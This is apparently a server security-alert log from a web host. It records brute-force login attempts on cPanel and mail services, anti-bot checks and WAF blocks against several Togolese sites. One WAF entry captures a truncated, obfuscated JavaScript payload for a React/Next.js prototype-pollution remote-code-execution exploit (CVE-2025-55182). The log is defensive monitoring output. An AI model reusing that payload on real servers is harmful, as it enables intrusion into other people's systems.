47.128.122.107 - - [15/Jun/2026:04:18:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739878&pdata=http%253A%252F%252Ftogodailynews.tg%252Fle-bourreau-du-nigeria-a-la-conquete-du-pouvoir-en-hongrie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781497114 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/le-bourreau-du-nigeria-a-la-conquete-du-pouvoir-en-hongrie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.107


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:19:58 +0000] info [cpaneld] 103.59.161.65 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:21:30 +0000] info [cpaneld] 103.59.161.65 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:24:50 +0000] info [cpaneld] 103.59.161.65 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.26
country_id: 6252001
description:
205.169.39.26 - - [15/Jun/2026:04:25:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866627&pdata=http%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781497499 HTTP/1.1" 302 0 c2ie.tg "http://c2ie.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.26


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.118.116.81
country_id: 1562822
description:
[2026-06-15 04:26:28 +0000] info [cpaneld] 42.118.116.81 - cvajhehu "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.80.103.217
country_id: 2017370
description:
2026-06-15 04:27:25 dovecot_plain authenticator failed for H=(kjjfvzyifz2gz52pj8ml6jqo1rhn) [95.80.103.217]:63520: 535 Incorrect authentication data (set_id=kpip@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.80.103.217
country_id: 2017370
description:
Jun 15 04:27:23 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.80.103.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.163.52.74
country_id: 1814991
description:
2026-06-15 04:27:59 dovecot_login authenticator failed for H=([112.99.6.62]) [123.163.52.74]:53501: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.238.122.158
country_id: 2921044
description:
[2026-06-15 04:28:08 +0000] info [webmaild] 195.238.122.158 - support@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:29:09 +0000] info [cpaneld] 103.59.161.65 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-15 04:29:19 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:44582: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:30:08 +0000] info [cpaneld] 103.59.161.65 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.142.201.26
country_id: 2750405
description:
[2026-06-15 04:31:59 +0000] info [cpaneld] 45.142.201.26 - lws-547091 "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lws-547091 (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 43.156.165.72
country_id: 1880251
description:
2026-06-15 04:32:52 dovecot_plain authenticator failed for H=(jblevaxezr267v1y) [43.156.165.72]:36582: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.156.165.72
country_id: 1880251
description:
Jun 15 04:32:50 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.156.165.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.24
country_id: 3469034
description:
Jun 15 04:33:33 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.24 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:04:37:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:04:40:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986137&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498409 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:40:18 +0000] info [cpaneld] 103.59.161.65 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 93.91.171.77
country_id: 2017370
domain: confortis.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/147.0.7727.15 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:42:01 +0000] info [cpaneld] 103.59.161.65 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 136.36.143.231
country_id: 6252001
description:
136.36.143.231 - - [15/Jun/2026:04:42:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790044&pdata=https%253A%252F%252Fafrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498534 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:136.36.143.231


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.57.115.146
country_id: 2077456
description:
203.57.115.146 - - [15/Jun/2026:04:43:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.115.146


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.57.115.146
country_id: 2077456
description:
203.57.115.146 - - [15/Jun/2026:04:43:09 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.115.146


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:04:42:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:04:42:45 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:04:42:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:04:42:52 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:04:43:24 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:04:43:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:04:43:44 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:04:43:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:04:43:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:44:03 +0000] info [cpaneld] 103.59.161.65 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.56
country_id: 1269750
description:
Jun 15 04:44:45 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-06-15 04:44:47 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:52305: 535 Incorrect authentication data (set_id=secretaria@soena.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 136.36.143.231
country_id: 6252001
description:
136.36.143.231 - - [15/Jun/2026:04:45:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790044&pdata=https%253A%252F%252Fafrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498534 HTTP/2.0" 404 159 afrique-distribution.net "https://afrique-distribution.net/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16_0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:136.36.143.231


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [15/Jun/2026:04:45:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515099&pdata=http%253A%252F%252Fmail.sodigaz.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498755 HTTP/1.1" 302 0 mail.sodigaz.tg "http://mail.sodigaz.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 93.71.103.137
country_id: 3175395
description:
93.71.103.137 - - [15/Jun/2026:04:45:32 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790044&pdata=https%253A%252F%252Fafrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498534" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.169
country_id: 690791
description:
2026-06-15 04:45:43 H=([77.83.39.169]) [77.83.39.169]:61033 F=<dpr@priv8shop.com> rejected RCPT <chikwado22@yahoo.com>: Sender verify failed


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 93.71.103.137
country_id: 3175395
description:
93.71.103.137 - - [15/Jun/2026:04:45:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790044&pdata=https%253A%252F%252Fafrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498534 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 23.162.8.88
country_id: 6252001
description:
[2026-06-15 04:47:08 +0000] info [cpaneld] 23.162.8.88 - elmkvzcm "GET /cpsess5820959709/frontend/jupiter/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [173.249.253.230] != Current IP Address [23.162.8.88]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.130.169
country_id: 6252001
domain: www.fundacionesperanzatogo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:161.123.130.169||TA:161.123.130.169||


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: www.v2.cfpj.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"then\":\"$1:__proto__:then\",\"x_621c700e\":null,\"reason\":-1,\"__60a1e817\":\"b0fb\",\"_036c5214\":false,\"_response\":{\"_prefix\":\"var xgc=arguments['\\\\x31'];var vmoq=xgc;try{var _v=((0,eval)(global[[\\\"Buf\\\",\\\"fe\\\",\\\"r\\\


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: www.v2.misstogo.tg
description:


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.230.106.112
country_id: 1880251
description:
[2026-06-15 04:48:09 +0000] info [cpaneld] 52.230.106.112 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.169
country_id: 690791
description:
2026-06-15 04:48:52 H=([77.83.39.169]) [77.83.39.169]:60477 F=<dpr@priv8shop.com> rejected RCPT <chikwado22@yahoo.com>: Sender verify failed


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 122.177.245.223
country_id: 1269750
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sunu-group.com||User:egjvuiox||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.169
country_id: 690791
description:
2026-06-15 04:49:23 H=([77.83.39.169]) [77.83.39.169]:61978 F=<dpr@priv8shop.com> rejected RCPT <chikwado22@yahoo.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:04:50:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248537&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499037 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [15/Jun/2026:04:50:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858460&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499038 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.252.169
country_id: 2077456
description:
170.64.252.169 - - [15/Jun/2026:04:50:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.252.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:04:50:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974822&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499035 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.148.233
country_id: 2510769
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:92.112.148.233||TA:92.112.148.233||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 168.199.145.124
country_id: 1861060
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:168.199.145.124||TA:168.199.145.124||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.103.236
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:206.232.103.236||TA:206.232.103.236||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 170.64.252.169
country_id: 2077456
description:
170.64.252.169 - - [15/Jun/2026:04:50:24 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.252.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:04:50:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949606&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499030 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 Edg/147.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:04:51:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866280&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499110 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [15/Jun/2026:04:51:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9662614&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499099 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 202.155.186.48
country_id: 2077456
domain: lct-togo.tg
description:
